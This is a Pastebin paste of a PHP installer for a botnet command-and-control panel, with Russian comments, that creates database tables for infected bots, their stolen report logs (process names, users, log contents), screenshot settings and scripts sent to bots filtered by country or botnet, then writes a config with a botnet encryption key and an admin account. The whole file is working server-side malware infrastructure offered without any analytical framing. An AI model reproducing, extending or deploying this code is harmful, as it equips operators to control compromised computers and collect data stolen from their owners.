Guest User

Untitled

a guest
May 19th, 2018
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.19 KB | None | 0 0
  1. <?php define('__INSTALL__', 1);
  2. require_once('../system/global.php');
  3.  
  4. ///////////////////////////////////////////////////////////////////////////////
  5. // Константы.
  6. ///////////////////////////////////////////////////////////////////////////////
  7.  
  8. //Файлы.
  9. define('FILE_GEOBASE', 'geobase.txt'); //Геобаза
  10. define('FILE_CONFIG', '../system/config.php'); //Конфиг.
  11.  
  12. //Заголовок
  13. define('APP_TITLE', 'Control Panel '.BO_VERSION.' Installer');
  14.  
  15. //Параметры диалога.
  16. define('DIALOG_WIDTH', '350px'); //Ширина диалога.
  17. define('DIALOG_INPUT_WIDTH', '150px'); //Ширина <input>.
  18.  
  19. //Подключение темы.
  20. define('THEME_PATH', '../theme');
  21. require_once(THEME_PATH.'/index.php');
  22.  
  23. ///////////////////////////////////////////////////////////////////////////////
  24. // Список таблиц.
  25. ///////////////////////////////////////////////////////////////////////////////
  26.  
  27. //Список ботов
  28. $_TABLES['botnet_list'] =
  29. "bot_id varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '' UNIQUE, ". //ID бота.
  30. "botnet varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
  31. "bot_version int unsigned NOT NULL default '0', ". //Версия бота.
  32.  
  33. "net_latency int unsigned NOT NULL default '0', ". //Лаг соединения.
  34. "port_s1 smallint unsigned NOT NULL default '0', ". //TCP порт S1.
  35.  
  36. "time_localbias int signed NOT NULL default '0', ". //Оффсет локального времени в секундах.
  37. "os_version tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
  38. "language_id smallint unsigned NOT NULL default '0', ". //ID языка OS.
  39.  
  40. "ipv4 varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
  41. "country varchar(2) NOT NULL default '--', ". //Страна.
  42.  
  43. "rtime_first int unsigned NOT NULL default '0', ". //Время первого отчета об онлайне.
  44. "rtime_last int unsigned NOT NULL default '0', ". //Время последнего отчета об онлайне.
  45. "rtime_online int unsigned NOT NULL default '0', ". //Время, c которого бот находиться в онлайне.
  46.  
  47. "flag_install bool NOT NULL default '0', ". //Флаг "Инсталла".
  48. "flag_used bool NOT NULL default '0', ". //Флаг "Использован".
  49. "flag_nat bool NOT NULL default '0', ". //Флаг "За натом".
  50.  
  51. "comments tinytext NOT NULL"; //Комментарии к боту.
  52.  
  53. //Шаблон отчетов.
  54. $_TABLES['botnet_reports'] =
  55. "id int unsigned NOT NULL auto_increment PRIMARY KEY, ".
  56. "bot_id varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
  57. "botnet varchar(".BOTNET_MAX_CHARS.") NOT NULL default '".DEFAULT_BOTNET."', ". //Ботнет.
  58. "bot_version int unsigned NOT NULL default '0', ". //Версия бота.
  59.  
  60. "path_source text NOT NULL, ". //Исходный путь лога.
  61. "path_dest text NOT NULL, ". //Конечный путь лога.
  62.  
  63. "time_system int unsigned NOT NULL default '0', ". //Оффсет локального времени в секундах.
  64. "time_tick int unsigned NOT NULL default '0', ". //Оффсет локального времени в мс.
  65. "time_localbias int NOT NULL default '0', ". //Оффсет локального времени в секундах.
  66.  
  67. "os_version tinyblob NOT NULL, ". //Данные об OS (dwMajor, dwMinor, dwBuild, dwSP, wSuiteMask, wProductType).
  68. "language_id smallint unsigned NOT NULL default '0', ". //ID языка OS.
  69.  
  70. "process_name text NOT NULL, ". //Имя процесса.
  71. "process_user text NOT NULL, ". //Имя юзера процесса.
  72.  
  73. "type int unsigned NOT NULL default '0', ". //Тип лога.
  74. "context longtext NOT NULL, ". //Содержимое лога.
  75.  
  76. "ipv4 varbinary(15) NOT NULL default '0.0.0.0', ". //IPv4
  77. "country varchar(2) NOT NULL default '--', ". //Страна.
  78. "rtime int unsigned NOT NULL default '0'"; //Время отчета.
  79.  
  80. //База IPv4 to Country.
  81. $_TABLES['ipv4toc'] =
  82. "l int unsigned NOT NULL default '0', ". //Нижний IP.
  83. "h int unsigned NOT NULL default '0', ". //Верхний IP.
  84. "c varbinary(2) NOT NULL default '--'"; //Страна.
  85.  
  86. //Список пользователей.
  87. $_TABLES['cp_users'] =
  88. "id int unsigned NOT NULL auto_increment PRIMARY KEY, ".
  89. "name varchar(20) NOT NULL default '' UNIQUE, ". //Имя.
  90. "pass varchar(32) NOT NULL default '', ". //Пароль.
  91. "language varbinary(2) NOT NULL default 'en', ". //Язык пользователя.
  92. "flag_enabled bool NOT NULL default '1', ". //Флаг включенного пользователя
  93. "comments tinytext NOT NULL, ". //Комментарии.
  94.  
  95. //Различные настройки.
  96. "ss_format varbinary(10) NOT NULL default 'jpeg', ". //Формат скриншотов.
  97. "ss_quality tinyint unsigned NOT NULL default '30', ". //Качество скриншота.
  98.  
  99. //Права.
  100. "r_edit_bots bool NOT NULL default '1', ".
  101.  
  102. "r_stats_main bool NOT NULL default '1', ".
  103. "r_stats_main_reset bool NOT NULL default '1', ".
  104. "r_stats_os bool NOT NULL default '1', ".
  105.  
  106. "r_botnet_bots bool NOT NULL default '1', ".
  107. "r_botnet_scripts bool NOT NULL default '1', ".
  108. "r_botnet_scripts_edit bool NOT NULL default '1', ".
  109.  
  110. "r_reports_db bool NOT NULL default '1', ".
  111. "r_reports_db_edit bool NOT NULL default '1', ".
  112. "r_reports_files bool NOT NULL default '1', ".
  113. "r_reports_files_edit bool NOT NULL default '1', ".
  114. "r_reports_jn bool NOT NULL default '1', ".
  115.  
  116. "r_system_info bool NOT NULL default '1', ".
  117. "r_system_options bool NOT NULL default '1', ".
  118. "r_system_user bool NOT NULL default '1', ".
  119. "r_system_users bool NOT NULL default '1'";
  120.  
  121. //Скрипты ботам.
  122. $_TABLES['botnet_scripts'] =
  123. "id int unsigned NOT NULL auto_increment PRIMARY KEY,".
  124. "extern_id varbinary(16) NOT NULL default '0', ". //Внешний ID.
  125. "name varchar(255) NOT NULL default '', ". //Название группы.
  126. "flag_enabled bool NOT NULL default '0', ". //Скрипт активна.
  127. "time_created int unsigned NOT NULL default '0', ". //Время создания скрипта.
  128. "send_limit int unsigned NOT NULL default '0', ". //Лимит ботов.
  129.  
  130. "bots_wl text NOT NULL, ". //Список ботов, для которых нужно испольнять группу.
  131. "bots_bl text NOT NULL, ". //Список ботов, для которых не нужно испольнять группу.
  132. "botnets_wl text NOT NULL, ". //Список ботнетов, для которых нужно испольнять группу.
  133. "botnets_bl text NOT NULL, ". //Список ботнетов, для которых не нужно испольнять группу.
  134. "countries_wl text NOT NULL, ". //Список стран, для которых нужно испольнить группу.
  135. "countries_bl text NOT NULL, ". //Список стран, для которых не нужно исполнять группу.
  136.  
  137. "script_text text NOT NULL, ". //Текстовое представление команд в группе.
  138. "script_bin blob NOT NULL"; //Бинарное представление команд в группе.
  139.  
  140. //Статистика скриптов ботам.
  141. $_TABLES['botnet_scripts_stat'] =
  142. "extern_id varbinary(16) NOT NULL, ". //Внешний ID.
  143. "type tinyint unsigned NOT NULL default '0', ". //Типа записи. 1 - отпралвен, 2 - исполнен, 3 - ошибка.
  144. "bot_id varchar(".BOT_ID_MAX_CHARS.") NOT NULL default '', ". //ID бота.
  145. "bot_version int unsigned NOT NULL default '0', ". //Версия бота.
  146. "rtime int unsigned NOT NULL default '0', ". //Время отчета.
  147. "report text NOT NULL, ". //Текстовый отчет бота о выполнении сценария.
  148. "UNIQUE(extern_id,bot_id,type)";
  149.  
  150. ///////////////////////////////////////////////////////////////////////////////
  151. // Значения по умолчанию.
  152. ///////////////////////////////////////////////////////////////////////////////
  153.  
  154. $pd_user = 'admin';
  155. $pd_pass = '';
  156.  
  157. $pd_mysql_host = '127.0.0.1';
  158. $pd_mysql_user = 'root';
  159. $pd_mysql_pass = '';
  160. $pd_mysql_db = 'cpdb';
  161.  
  162. $pd_reports_path = '_reports';
  163. $pd_reports_to_db = 1;
  164. $pd_reports_to_fs = 0;
  165.  
  166. $pd_botnet_timeout = 25;
  167. $pd_botnet_cryptkey = '';
  168.  
  169. $_OUTPUT = '';
  170.  
  171. ///////////////////////////////////////////////////////////////////////////////
  172. // Функции.
  173. ///////////////////////////////////////////////////////////////////////////////
  174.  
  175. //Отображение ошибки.
  176. function ShowError($text)
  177. {
  178. global $_OUTPUT;
  179. $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '&#8226; ERROR:'.$text, THEME_DIALOG_ITEM_ERROR).THEME_DIALOG_ROW_END;
  180. }
  181.  
  182. //Отображение процесса.
  183. function ShowProgress($text)
  184. {
  185. global $_OUTPUT;
  186. $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.str_replace('{TEXT}', '&#8226; '.$text, THEME_DIALOG_ITEM_SUCCESSED).THEME_DIALOG_ROW_END;
  187. }
  188.  
  189. //Создание таблицы.
  190. function CreateTable($name)
  191. {
  192. global $_TABLES;
  193.  
  194. ShowProgress("Creating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
  195. if(!@mysql_query("DROP TABLE IF EXISTS {$name}") || !@mysql_query("CREATE TABLE {$name} ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
  196. {
  197. ShowError("Failed: ".htmlentities_ex(mysql_error()));
  198. return false;
  199. }
  200.  
  201. return true;
  202. }
  203.  
  204. //Обнавление таблицы.
  205. function UpdateTable($name)
  206. {
  207. global $_TABLES;
  208.  
  209. ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
  210. if(!@mysql_query("CREATE TABLE IF NOT EXISTS {$name} ({$_TABLES[$name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
  211. {
  212. ShowError("Failed: ".htmlentities_ex(mysql_error()));
  213. return false;
  214. }
  215.  
  216. //@mysql_query("ALTER TABLE {$name} CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
  217.  
  218. //Обнавляем на удачу.
  219. $list = explode(', ', $_TABLES[$name]);
  220. $c = count($list);
  221. for($i = 0; $i < $c; $i++)@mysql_query("ALTER TABLE {$name} ADD ".$list[$i]);
  222.  
  223. return true;
  224. }
  225.  
  226. //Обнавление таблицы по данным другой таблицы.
  227. function UpdateTableEx($name, $real_name)
  228. {
  229. global $_TABLES;
  230.  
  231. ShowProgress("Updating table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.".");
  232. if(!@mysql_query("CREATE TABLE IF NOT EXISTS {$name} ({$_TABLES[$real_name]}) ENGINE=MyISAM CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE))
  233. {
  234. ShowError("Failed: ".htmlentities_ex(mysql_error()));
  235. return false;
  236. }
  237.  
  238. //@mysql_query("ALTER TABLE {$name} CHARACTER SET=".MYSQL_CODEPAGE." COLLATE=".MYSQL_COLLATE);
  239.  
  240. //Обнавляем на удачу.
  241. $list = explode(',', $_TABLES[$real_name]);
  242. $c = count($list);
  243. for($i = 0; $i < $c; $i++)@mysql_query("ALTER TABLE {$name} ADD ".$list[$i]);
  244.  
  245. return true;
  246. }
  247.  
  248. //Добавление строки в таблицу
  249. function AddRowToTable($name, $query)
  250. {
  251. if(!@mysql_query('INSERT INTO '.addslashes($name).' SET '.$query.''))
  252. {
  253. ShowError("Failed to write row to table ".THEME_STRING_BOLD_BEGIN."'{$name}'".THEME_STRING_BOLD_END.": %s".htmlentities_ex(mysql_error()));
  254. return false;
  255. }
  256. return true;
  257. }
  258.  
  259. //Создание пути.
  260. function CreatePath($new_dir, $old_dir)
  261. {
  262. $dir_r = '../'.$new_dir;
  263.  
  264. if($old_dir != 0 && $old_dir != $new_dir && file_exists('../'.$old_dir))
  265. {
  266. ShowProgress("Renaming folder ".THEME_STRING_BOLD_BEGIN."'{$old_dir}'".THEME_STRING_BOLD_END." to ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
  267. if(!is_dir($dir_r) && !@rename('../'.$old_dir, $dir_r))
  268. {
  269. ShowError("Failed to rename folder.");
  270. return false;
  271. }
  272.  
  273. @chmod($dir_r, 0777);
  274. }
  275. else
  276. {
  277. ShowProgress("Creating folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
  278. if(!is_dir($dir_r) && !@mkdir($dir_r, 0777))
  279. {
  280. ShowError("Failed to create folder ".THEME_STRING_BOLD_BEGIN."'{$new_dir}'".THEME_STRING_BOLD_END.".");
  281. return false;
  282. }
  283. }
  284. return true;
  285. }
  286.  
  287. //Выбор режим работы.
  288. $is_update = file_exists(FILE_CONFIG);
  289.  
  290. ///////////////////////////////////////////////////////////////////////////////
  291. // Процесс утсановки/обнавления.
  292. ///////////////////////////////////////////////////////////////////////////////
  293. if(strcmp($_SERVER['REQUEST_METHOD'], 'POST') === 0)
  294. {
  295. $error = false;
  296. $_OUTPUT = str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
  297. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(1, 'Installation steps:'), THEME_DIALOG_TITLE);
  298.  
  299. //Получение Пост-данных.
  300. if($is_update)
  301. {
  302. if(!@include_once(FILE_CONFIG))
  303. {
  304. ShowError("Failed to open file '".FILE_CONFIG."'.");
  305. $error = true;
  306. }
  307. else
  308. {
  309. if(defined('REPORTS_PATH'))$pd_reports_path = REPORTS_PATH;
  310. if(defined('REPORTS_TO_DB'))$pd_reports_to_db = REPORTS_TO_DB ? 1 : 0;
  311. if(defined('REPORTS_TO_FS'))$pd_reports_to_fs = REPORTS_TO_FS ? 1 : 0;
  312. if(defined('BOTNET_TIMEOUT'))$pd_botnet_timeout = (int)(BOTNET_TIMEOUT / 60);
  313. if(defined('BOTNET_CRYPTKEY'))$pd_botnet_cryptkey = BOTNET_CRYPTKEY;
  314.  
  315. $pd_mysql_host = defined('MYSQL_HOST') ? MYSQL_HOST : NULL;
  316. $pd_mysql_user = defined('MYSQL_USER') ? MYSQL_USER : NULL;
  317. $pd_mysql_pass = defined('MYSQL_PASS') ? MYSQL_PASS : NULL;
  318. $pd_mysql_db = defined('MYSQL_DB') ? MYSQL_DB : NULL;
  319. }
  320. }
  321. else
  322. {
  323. $pd_user = CheckPostData('user', 1, 20);
  324. $pd_pass = CheckPostData('pass', 6, 64);
  325.  
  326. $pd_reports_path = CheckPostData('path_reports', 1, 256);
  327. $pd_reports_to_db = (isset($_POST['reports_to_db']));// && $_POST['reports_to_db'] == 1);
  328. $pd_reports_to_fs = (isset($_POST['reports_to_fs']));// && $_POST['reports_to_fs'] == 1);
  329. $pd_botnet_timeout = CheckPostData('botnet_timeout', 1, 4);
  330. $pd_botnet_cryptkey = CheckPostData('botnet_cryptkey', 1, 256);
  331.  
  332. $pd_mysql_host = CheckPostData('mysql_host', 1, 256);
  333. $pd_mysql_user = CheckPostData('mysql_user', 1, 256);
  334. $pd_mysql_pass = CheckPostData('mysql_pass', 0, 256);
  335. $pd_mysql_db = CheckPostData('mysql_db', 1, 256);
  336. }
  337.  
  338. $pd_reports_path = trim(str_replace('\\', '/', trim($pd_reports_path)), '/');
  339.  
  340. //Обработка ошибок.
  341. if(!$error)
  342. {
  343. if(!$is_update && ($pd_user === NULL || $pd_pass === NULL))
  344. {
  345. ShowError('Bad format of login data.');
  346. $error = true;
  347. }
  348. if($pd_mysql_host === NULL || $pd_mysql_user === NULL || $pd_mysql_db === NULL)
  349. {
  350. ShowError('Bad format of MySQL server data.');
  351. $error = true;
  352. }
  353. if($pd_reports_path === NULL)
  354. {
  355. ShowError('Bad format of reports path.');
  356. $error = true;
  357. }
  358. if(!is_numeric($pd_botnet_timeout) || $pd_botnet_timeout < 1)
  359. {
  360. ShowError('Bot online timeout have bad value.');
  361. $error = true;
  362. }
  363. if($pd_botnet_cryptkey === NULL)
  364. {
  365. ShowError('Bad format of encryption key.');
  366. $error = true;
  367. }
  368. }
  369.  
  370. //Подключение к базе.
  371. if(!$error)
  372. {
  373. ShowProgress("Connecting to MySQL as ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_user}'".THEME_STRING_BOLD_END.".");
  374. if(!@mysql_connect($pd_mysql_host, $pd_mysql_user, $pd_mysql_pass) || !@mysql_query('SET NAMES \''.MYSQL_CODEPAGE.'\' COLLATE \''.MYSQL_COLLATE.'\''))
  375. {
  376. ShowError("Failed connect to MySQL server: ".htmlentities_ex(mysql_error()));
  377. $error = true;
  378. }
  379. }
  380.  
  381. //Выбор таблицы.
  382. if(!$error)
  383. {
  384. $db = addslashes($pd_mysql_db);
  385. ShowProgress("Selecting DB ".THEME_STRING_BOLD_BEGIN."'{$pd_mysql_db}'".THEME_STRING_BOLD_END.".");
  386.  
  387. if(!@mysql_query("CREATE DATABASE IF NOT EXISTS {$db}"))
  388. {
  389. ShowError("Failed to create database: ".htmlentities_ex(mysql_error()));
  390. $error = true;
  391. }
  392. else if(!@mysql_select_db($pd_mysql_db))
  393. {
  394. ShowError("Failed to select database: ".htmlentities_ex(mysql_error()));
  395. $error = true;
  396. }
  397.  
  398. @mysql_query("ALTER DATABASE {$db} CHARACTER SET ".MYSQL_CODEPAGE." COLLATE ".MYSQL_COLLATE);
  399. }
  400.  
  401. //Обрабатываем таблицы.
  402. if(!$error)foreach($_TABLES as $table => $v)
  403. {
  404. //Заполнение таблицы ipv4toc.
  405. if(strcmp($table, 'ipv4toc') == 0)
  406. {
  407. if(($error = !CreateTable($table)))break;
  408. ShowProgress("Filling table ".THEME_STRING_BOLD_BEGIN."'{$table}'".THEME_STRING_BOLD_END.".");
  409.  
  410. if(($list = @file(FILE_GEOBASE)) === false)
  411. {
  412. ShowError("Failed to open file '".FILE_GEOBASE."'.");
  413. $error = true;
  414. }
  415. else
  416. {
  417. foreach($list as $item)
  418. {
  419. $cn = explode("\0", $item, 3);
  420. if(($error = !AddRowToTable($table, "l='{$cn[0]}', h='{$cn[1]}', c='".substr(trim($cn[2]), 0, 2)."'")))break;
  421. }
  422. unset($list);
  423. }
  424. }
  425. //Обновляем старые таблицы отчетов.
  426. else if(strcmp($table, 'botnet_reports') == 0)
  427. {
  428. if(($error = !CreateTable($table)))break;
  429. $rlist = ListReportTables($pd_mysql_db);
  430. foreach($rlist as $rtable)if(($error = !UpdateTableEx($rtable, 'botnet_reports')))break;
  431. }
  432. else $error = !($is_update ? UpdateTable($table) : CreateTable($table));
  433.  
  434. if($error)break;
  435. }
  436.  
  437. //Создание директории для отчетов.
  438. if(!$error)$error = !CreatePath($pd_reports_path, defined('REPORTS_PATH') ? REPORTS_PATH : 0);
  439.  
  440. //Обновление файла конфигурации.
  441. if(!$error)
  442. {
  443. ShowProgress("Writing config file");
  444.  
  445. $updateList['MYSQL_HOST'] = $pd_mysql_host;
  446. $updateList['MYSQL_USER'] = $pd_mysql_user;
  447. $updateList['MYSQL_PASS'] = $pd_mysql_pass;
  448. $updateList['MYSQL_DB'] = $pd_mysql_db;
  449. $updateList['REPORTS_PATH'] = $pd_reports_path;
  450. $updateList['REPORTS_TO_DB'] = $pd_reports_to_db ? 1 : 0;
  451. $updateList['REPORTS_TO_FS'] = $pd_reports_to_fs ? 1 : 0;
  452. $updateList['BOTNET_TIMEOUT'] = ((int)($pd_botnet_timeout * 60));
  453. $updateList['BOTNET_CRYPTKEY'] = $pd_botnet_cryptkey;
  454.  
  455. if(!updateConfig($updateList))
  456. {
  457. ShowError("Failed write to config file.");
  458. $error = true;
  459. }
  460. }
  461.  
  462. //Добавление пользователя в базу.
  463. if(!$error && !$is_update)
  464. {
  465. ShowProgress("Adding user ".THEME_STRING_BOLD_BEGIN."'{$pd_user}'".THEME_STRING_BOLD_END.".");
  466. $error = !AddRowToTable('cp_users', "name='".addslashes($pd_user)."', pass='".md5($pd_pass)."', comments='Default user'");
  467. }
  468.  
  469. //Выставляем прозрачно права на каталог для временных файлов.
  470. @chmod('../tmp', 0777);
  471.  
  472. //Успешное завершение.
  473. if(!$error)
  474. {
  475. $_OUTPUT .= THEME_DIALOG_ROW_BEGIN.
  476. str_replace('{TEXT}', THEME_STRING_BOLD_BEGIN.($is_update ? '-- Update complete! --' : '-- Installation complete! --').THEME_STRING_BOLD_END, THEME_DIALOG_ITEM_SUCCESSED).
  477. THEME_DIALOG_ROW_END;
  478. ThemeSmall(APP_TITLE, $_OUTPUT.THEME_DIALOG_END, 0, 0, 0);
  479. die();
  480. }
  481. $_OUTPUT .= THEME_DIALOG_END.THEME_VSPACE;
  482. }
  483.  
  484. ///////////////////////////////////////////////////////////////////////////////
  485. // Основной диалог.
  486. ///////////////////////////////////////////////////////////////////////////////
  487.  
  488. if($is_update)
  489. {
  490. @include_once(FILE_CONFIG);
  491. if(defined('MYSQL_DB'))$pd_mysql_db = MYSQL_DB;
  492. }
  493.  
  494. if($is_update)$help = "This application update/repair and reconfigure your control panel on this server. If you want make new instalation, please remove file '".FILE_CONFIG."'.";
  495. else $help = "This application install and configure your control panel on this server. Please type settings and press 'Install'.";
  496.  
  497. $_FORMITEMS = '';
  498.  
  499. //Данные юзера.
  500. if(!$is_update)
  501. {
  502. $_FORMITEMS .=
  503. THEME_DIALOG_ROW_BEGIN.
  504. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  505. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Root user:'), THEME_DIALOG_GROUP_TITLE).
  506. THEME_DIALOG_ROW_BEGIN.
  507. str_replace('{TEXT}', 'User name: (1-20 chars):', THEME_DIALOG_ITEM_TEXT).
  508. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_user), 'user', '20', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  509. THEME_DIALOG_ROW_END.
  510. THEME_DIALOG_ROW_BEGIN.
  511. str_replace('{TEXT}', 'Password (6-64 chars):', THEME_DIALOG_ITEM_TEXT).
  512. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_pass), 'pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  513. THEME_DIALOG_ROW_END.
  514. THEME_DIALOG_GROUP_END.
  515. THEME_DIALOG_ROW_END;
  516. }
  517.  
  518. //База данных.
  519. $_FORMITEMS .=
  520. THEME_DIALOG_ROW_BEGIN.
  521. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  522. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'MySQL server:'), THEME_DIALOG_GROUP_TITLE);
  523.  
  524. if(!$is_update)
  525. {
  526. $_FORMITEMS .=
  527. THEME_DIALOG_ROW_BEGIN.
  528. str_replace('{TEXT}', 'Host:', THEME_DIALOG_ITEM_TEXT).
  529. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_host), 'mysql_host', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  530. THEME_DIALOG_ROW_END.
  531. THEME_DIALOG_ROW_BEGIN.
  532. str_replace('{TEXT}', 'User:', THEME_DIALOG_ITEM_TEXT).
  533. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_user), 'mysql_user', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  534. THEME_DIALOG_ROW_END.
  535. THEME_DIALOG_ROW_BEGIN.
  536. str_replace('{TEXT}', 'Password:', THEME_DIALOG_ITEM_TEXT).
  537. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_pass), 'mysql_pass', '64', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  538. THEME_DIALOG_ROW_END;
  539. }
  540.  
  541. $_FORMITEMS .=
  542. THEME_DIALOG_ROW_BEGIN.
  543. str_replace('{TEXT}', 'Database:', THEME_DIALOG_ITEM_TEXT).
  544. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_mysql_db), 'mysql_db', '64', DIALOG_INPUT_WIDTH), $is_update ? THEME_DIALOG_ITEM_INPUT_TEXT_RO : THEME_DIALOG_ITEM_INPUT_TEXT).
  545. THEME_DIALOG_ROW_END.
  546. THEME_DIALOG_GROUP_END.
  547. THEME_DIALOG_ROW_END;
  548.  
  549. //Локальные пути.
  550. if(!$is_update)
  551. {
  552. $_FORMITEMS .=
  553. THEME_DIALOG_ROW_BEGIN.
  554. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  555. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Local folders:'), THEME_DIALOG_GROUP_TITLE).
  556. THEME_DIALOG_ROW_BEGIN.
  557. str_replace('{TEXT}', 'Reports:', THEME_DIALOG_ITEM_TEXT).
  558. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_reports_path), 'path_reports', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  559. THEME_DIALOG_ROW_END.
  560. THEME_DIALOG_GROUP_END.
  561. THEME_DIALOG_ROW_END;
  562. }
  563.  
  564. //Опции.
  565. if(!$is_update)
  566. {
  567. $_FORMITEMS .=
  568. THEME_DIALOG_ROW_BEGIN.
  569. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  570. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, 'Options:'), THEME_DIALOG_GROUP_TITLE).
  571. THEME_DIALOG_ROW_BEGIN.
  572. str_replace('{TEXT}', 'Online bot timeout:', THEME_DIALOG_ITEM_TEXT).
  573. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_botnet_timeout), 'botnet_timeout', '4', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  574. THEME_DIALOG_ROW_END.
  575. THEME_DIALOG_ROW_BEGIN.
  576. str_replace('{TEXT}', 'Encryption key (1-255 chars):', THEME_DIALOG_ITEM_TEXT).
  577. str_replace(array('{VALUE}', '{NAME}', '{MAX}', '{WIDTH}'), array(htmlentities_ex($pd_botnet_cryptkey), 'botnet_cryptkey', '255', DIALOG_INPUT_WIDTH), THEME_DIALOG_ITEM_INPUT_TEXT).
  578. THEME_DIALOG_ROW_END.
  579. THEME_DIALOG_ROW_BEGIN.
  580. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  581. THEME_DIALOG_ROW_BEGIN.
  582. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_db', '', 'Enable write reports to database.'), $pd_reports_to_db ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
  583. THEME_DIALOG_ROW_END.
  584. THEME_DIALOG_ROW_BEGIN.
  585. str_replace(array('{COLUMNS_COUNT}', '{VALUE}', '{NAME}', '{JS_EVENTS}', '{TEXT}'), array(1, 1, 'reports_to_fs', '', 'Enable write reports to local path.'), $pd_reports_to_fs ? THEME_DIALOG_ITEM_INPUT_CHECKBOX_ON_2 : THEME_DIALOG_ITEM_INPUT_CHECKBOX_2).
  586. THEME_DIALOG_ROW_END.
  587. THEME_DIALOG_GROUP_END.
  588. THEME_DIALOG_ROW_END.
  589. THEME_DIALOG_GROUP_END.
  590. THEME_DIALOG_ROW_END;
  591. }
  592.  
  593. //Форма.
  594. $_OUTPUT .=
  595. str_replace(array('{NAME}', '{URL}', '{JS_EVENTS}'), array('idata', basename($_SERVER['PHP_SELF']), ''), THEME_FORMPOST_BEGIN).
  596. str_replace('{WIDTH}', DIALOG_WIDTH, THEME_DIALOG_BEGIN).
  597. str_replace(array('{COLUMNS_COUNT}', '{TEXT}'), array(2, APP_TITLE), THEME_DIALOG_TITLE).
  598. THEME_DIALOG_ROW_BEGIN.
  599. str_replace('{COLUMNS_COUNT}', '2', THEME_DIALOG_GROUP_BEGIN).
  600. THEME_DIALOG_ROW_BEGIN.
  601. str_replace('{TEXT}', $help, THEME_DIALOG_ITEM_WRAPTEXT).
  602. THEME_DIALOG_ROW_END.
  603. THEME_DIALOG_GROUP_END.
  604. THEME_DIALOG_ROW_END.
  605. $_FORMITEMS.
  606. str_replace('{COLUMNS_COUNT}', 2, THEME_DIALOG_ACTIONLIST_BEGIN).
  607. str_replace(array('{TEXT}', '{JS_EVENTS}'), array(($is_update ? '-- Update --' : '-- Install --'), ''), THEME_DIALOG_ITEM_ACTION_SUBMIT).
  608. THEME_DIALOG_ACTIONLIST_END.
  609. THEME_DIALOG_END.
  610. THEME_FORMPOST_END;
  611.  
  612. //Вывод.
  613. ThemeSmall(APP_TITLE, $_OUTPUT, 0, 0, 0);
  614. ?>
Add Comment
Please, Sign In to add comment